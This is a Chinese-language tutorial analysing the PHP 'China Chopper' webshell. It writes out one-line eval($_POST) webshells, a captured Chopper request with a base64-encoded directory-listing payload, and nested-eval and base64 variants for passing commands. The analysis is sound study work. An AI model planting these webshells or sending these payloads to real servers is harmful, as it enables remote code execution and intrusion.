這裏以eval為例

我們知道， php中的eval能把字符串當代碼執行:

eval(‘phpcode‘);

註意， 這裏的代碼要有分號結尾， 我們測試:

我們創建一個最簡單的SHELL：

<?php
eval($_POST[‘a‘]);

在post數據位置發送:

a=phpinfo()

可以看到phpinfo()並沒有執行。

原來原因是要加 ; 號結速一個語句， 像php語法一樣， 語句後面要加 ; 號。

這裏還有一個問題就是， 輸入的 a=phpinfo(); 不需要用單或雙引號括起來:

再回到eval, 我們加多層eval看看:

<?php
eval(eval(eval($_POST[a])));

看到效果是一樣的:

我們創建一個簡單WEBSHELL， 打開抓包工具抓菜刀包， 抓到的發送包是這樣的:

POST /2.php HTTP/1.1
Cache-Control: no-cache
X-Forwarded-For: 226.60.187.9
Referer: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host
 
: localhost
Content-Length: 738
Connection: Close

a=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7&z1=RDpcXHBocFN0dWR5XFxXV1dcXA%3D%3D
 

單純地看上面的POST包， 在沒有base64解密前提下， 可以明顯的看到 菜刀會另外創造一個post數據(上圖中的是z0)發送回來給a。

我們可以得知， 菜刀發送的包， 有點像這樣:

<?php
eval($_POST[a]);
#post:
#$_POST[a] = 另一個post數據
#$_POST[a] = $_POST[b]
#傳入的$_POST[a]=$_POST[b]=b的內容

也就是說， 我們發送包時， 可以這樣構造一下:

a=$_POST[b]&b=phpinfo

這樣就相當於是:

a=phpinfo

記得我們上面說過， 要加 ; 號， 不用加單雙引號:

a=$_POST[b];&b=phpinfo()

這一個數據， 就相當於:

a=phpinfo();
#$_POST[b]替換成了: phpinfo()

我們測試一下效果:

可以看到， 並沒有執行 phpinfo() 函數。

為什麽呢？

用一個小例子來說明為什麽:

echo ‘post[a]:‘.$_POST[a]."<br />";
echo ‘post[b]:‘.$_POST[b];

發送數據後如下所示:

可以看到， a 的值是 $_POST[b]; , 但是這個 $_POST[b]; 只是一個單純字符串而已, 而這個字符串並未被當成php代碼解釋。

相當於我們創建了一個這樣的代碼:

<?php
‘$_POST[b]‘;

這樣的參數肯定會出錯， 也相當於你創建了一個這樣的代碼:

eval(‘abcdefg‘);

eval要求是php代碼形式的字符串， 所以， 下面這樣就是合法的:

eval(‘echo "abcdefg";‘);

最後我們可以構造這樣的代碼:

eval(‘eval("$_POST[b]");‘)

這樣phpinfo函數就能正常運行了。

把eval加進代碼裏:

有一點要註意的就是 $_POST[b]中的PHP代碼參數要加 ; 號， 因為 $_POST[a] 裏的eval要用到， 而 $_POST[a]裏的php代碼也要加 ; 號， 因為源碼裏的eval也要用到。

在 $_POST[a]的位置我們也可以用base64編碼數據， 這樣 $_POST[b]的數據就可以很好的正常發送了：

總之， a中的post數據中的eval目的是把他的值 $_POST[b] 解釋。

我們其實可以在發送數據位置單單用一個a=post數據就行了。

<?php
eval($_post[a]);

在接收後我們可以用自已相要的方式加解密（如果你數據有加密的話）:

<?php
eval(base64_decode($_POST[a]));
#post
#a=cGhwaW5mbygpOw==

那個java的C刀就是這樣的做法。

php菜刀分析學習